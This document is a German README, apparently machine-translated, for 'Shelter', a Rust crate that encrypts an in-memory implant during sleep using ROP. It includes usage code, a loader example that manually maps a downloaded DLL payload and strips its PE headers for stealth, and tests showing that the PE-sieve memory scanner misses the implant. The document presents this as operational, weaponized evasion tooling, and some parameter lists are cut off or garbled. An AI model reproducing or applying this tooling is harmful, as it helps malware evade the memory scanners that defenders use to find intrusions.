
ROP-basierte Schlafobfuskation zur Umgehung von Speicherscannern
Shelter ist eine vollständig bewaffnete Sleep-Verschleierungstechnik, die es ermöglicht, Ihren In-Memory-Payload vollständig zu verschlüsseln, unter umfangreicher Nutzung von ROP.
Diese Crate bietet die folgenden Eigenschaften:
Importieren Sie diese Crate in Ihr Projekt, indem Sie die folgende Zeile zu Ihrer cargo.toml hinzufügen:
[dependencies]
shelter = "=0.1.2"
Kompilieren Sie dann Ihr Projekt im --release Modus.
Die Hauptfunktionalität dieser Crate wurde in drei Funktionen verpackt:
fluctuate() ermöglicht die Verschlüsselung entweder der aktuellen Speicherregion oder des gesamten PE. Diese Funktion benötigt die MZ-Bytes des PE, um dessen Basisadresse dynamisch abzurufen.fluctuate_from_address() verschlüsselt das gesamte PE. Diese Funktion erwartet als Eingabeparameter die Basisadresse des PE.fluctuate_from_pattern() verschlüsselt ebenfalls das gesamte PE. Diese Funktion erwartet als Eingabeparameter ein benutzerdefiniertes Paar von zwei Bytes, um die Basisadresse des PE zu bestimmen. Diese benutzerdefinierten Magic Bytes ersetzen das klassische MZ-Muster.Wann immer das gesamte PE verschlüsselt wird, werden die ursprünglichen Speicherschutzberechtigungen der Sektionen im Heap gespeichert, um sie später wiederherzustellen.
Shelter verwendet NtWaitForSingleObject zum Schlafen. Zusätzlich zur Angabe der Anzahl der Sekunden, die Sie schlafen möchten, können Sie auch ein Event-Handle übergeben und es jederzeit signalisieren, um vor Ablauf des Timeouts zurückzukehren (z. B. mit SetEvent). Beachten Sie, dass Sie, wenn Ihr gesamter Payload verschlüsselt ist (was ja der ganze Sinn ist, nehme ich an), eine alternative Möglichkeit benötigen, das Ereignis zu signalisieren, falls Sie unbegrenzt geschlafen haben.
Die Funktion erwartet die folgenden Parameter:
true übergeben wird, müssen die MZ-Bytes im Speicher vorhanden sein.None gesetzt wird, ist das Timeout unendlich, was bedeutet, dass die Ausführung erst zurückkehrt, wenn das an NtWaitForSingleObject übergebene Ereignis signalisiert wird.None sein. Das Programm bleibt hängen, wenn Sie diesen Parameter und das Timeout beide auf None setzen.let time_to_sleep = Some(10); // Sleep for 10 seconds
let _ = shelter::fluctuate(false, time_to_sleep, None); // Encrypt only the current memory region
let time_to_sleep = Some(10); // Sleep for 10 seconds
let _ = shelter::fluctuate(true, time_to_sleep, None); // Encrypt the whole PE
pub type CreateEventW = unsafe extern "system" fn (*const SECURITY_ATTRIBUTES, i32, i32, *const u16) -> HANDLE;
let k32 = dinvoke_rs::dinvoke::get_module_base_address("kernel32.dll");
let create_event: CreateEventW;
let event_handle: Option<HANDLE>;
dinvoke_rs::dinvoke::dynamic_invoke!(k32,"CreateEventW",create_event,event_handle,ptr::null_mut(),0,0,ptr::null());
let time_to_sleep = None; // Sleep indefinitely
let _ = shelter::fluctuate(true, time_to_sleep, event_handle); // Encrypt the whole PE until the event is signaled
Die Funktion erwartet die folgenden Parameter:
None gesetzt wird, ist das Timeout unendlich, was bedeutet, dass die Ausführung erst zurückkehrt, wenn das an NtWaitForSingleObject übergebene Ereignis signalisiert wird.None sein. Das Programm bleibt hängen, wenn Sie diesen Parameter und das Timeout beide auf None setzen.Eine Möglichkeit, diese Funktion zu verwenden, besteht darin, unseren Payload manuell mit Dinvoke_rs zu mappen. Auf diese Weise kann der Loader dem Payload seine eigene Basisadresse senden, sodass der Payload sie verwenden kann, um sich selbst bei Bedarf zu verschleiern. Auf diese Weise kann der Loader sicher die PE-Header entfernen, um ein gewisses Maß an Tarnung zu erreichen.
Loader-Beispiel:
let payload: Vec<u8> = your_download_function();
let mut m = dinvoke_rs::manualmap::manually_map_module(payload.as_ptr(), true).unwrap();
println!("The dll is loaded at base address 0x{:x}", m.1);
let dll_exported_function = dinvoke::get_function_address(m.1, "run");
let run: unsafe extern "Rust" fn (usize) = std::mem::transmute(dll_exported_function);
run(m.1 as usize);
Payload-Beispiel:
#[no_mangle]
fn run(base_address: usize)
{
...
let time_to_sleep = Some(10); // Sleep for 10 seconds
let _ = shelter::fluctuate_from_address(time_to_sleep, None, base_address); // Encrypt the entire PE from this specific base address
...
}
Die Funktion erwartet die folgenden Parameter:
None gesetzt wird, ist das Timeout unendlich, was bedeutet, dass die Ausführung erst zurückkehrt, wenn das an NtWaitForSingleObject übergebene Ereignis signalisiert wird.None sein. Das Programm bleibt hängen, wenn Sie diesen Parameter und das Timeout beide auf None setzen.[u8;2]-Array, das benutzerdefinierte Magic Bytes enthält, nach denen gesucht werden soll, um die Basisadresse des PE zu erhalten.Der Sinn dieser Funktion besteht darin, dem Loader zu ermöglichen, den PE-Header und andere Signaturen, einschließlich der klassischen MZ-Bytes, zu entfernen. Auf diese Weise können diese Bytes durch ein benutzerdefiniertes Muster ersetzt werden, nach dem Shelter sucht, um die Basisadresse des PE zu ermitteln.
let time_to_sleep = Some(10); // Sleep for 10 seconds
let pattern = [0x29,0x07];
let _ = shelter::fluctuate_from_pattern(time_to_sleep, None, pattern); // Encrypt the whole PE using custom pattern as magic bytes
Um die Implementierung der Technik zu testen, wurde hauptsächlich PE-sieve verwendet. Standardmäßig sucht PE-sieve nach Implantaten in ausführbaren Speicherregionen, was bedeutet, dass selbst die ausschließliche Verschleierung der aktuellen Speicherregion (.text) ausreicht, um Erkennungen zu vermeiden:

Beachten Sie, dass der Call-Stack aufgrund der Verwendung von Unwinder gespooft wird und daher das Flag /threads die gemappte DLL ebenfalls nicht erkennt.
PE-sieve ermöglicht es nun, auch nicht ausführbare Speicherregionen mit dem Flag /data zu inspizieren. Laut der offiziellen Dokumentation des Tools kann dieses Flag, wenn es auf always gesetzt ist, "eine Menge Rauschen/Falschalarme erzeugen". Trotzdem haben wir uns entschieden, es zu verwenden, um die Wirksamkeit der vollständigen PE-Verschlüsselungsfähigkeit zu überprüfen, da sie es ermöglicht, PE-Datenregionen zu verstecken, die Indikatoren für das Vorhandensein eines In-Memory-Implantats enthalten könnten.

Wie zu sehen ist, zeigt das erste Bild, dass die alleinige Verschleierung des .text-Abschnitts nicht ausreicht, wenn PE-sieve nicht ausführbare Speicherseiten scannt, da einige Regionen Zeichenfolgen enthalten könnten, die das Vorhandensein einer DLL verraten (MZ, DOS-Header, Abschnittsnamen usw.). Das zweite Bild hingegen zeigt, wie dieses Problem durch die vollständige PE-Verschleierungsmechanik von Shelter gelöst werden kann. Wie im Wiki von PE-sieve erwähnt, führt diese Option jedoch zu einer Vielzahl von Falschalarmen, da bereits das Vorhandensein von Zeichenfolgen wie ".data" oder "rdata" im Heap auf ein mögliches eingebettetes PE hinweist, obwohl es nicht in der Lage ist, etwas aus dem Speicher zu dumpen (da sich dort kein echter PE-Inhalt befindet).
Schließlich hat PE-sieve eine relativ neue Option zur Erkennung von verschleierten Implantaten durch Suche nach Speicherregionen mit hoher Entropie. Diese Option (/obfusc) in Kombination mit /data ist in der Lage, das Vorhandensein des Payloads aufgrund der hohen Entropie der ihn enthaltenden Speicherregion zu erkennen (obwohl das PE nicht abgerufen werden kann, da es vollständig verschlüsselt ist):
Obwohl Shelter einsatzbereit ist und unter Berücksichtigung von OPSEC entwickelt wurde, gibt es noch einige Verbesserungen, die in naher Zukunft hinzugefügt werden:
BCryptEncrypt/BCryptDecrypt durch die entsprechende Nt-Funktion.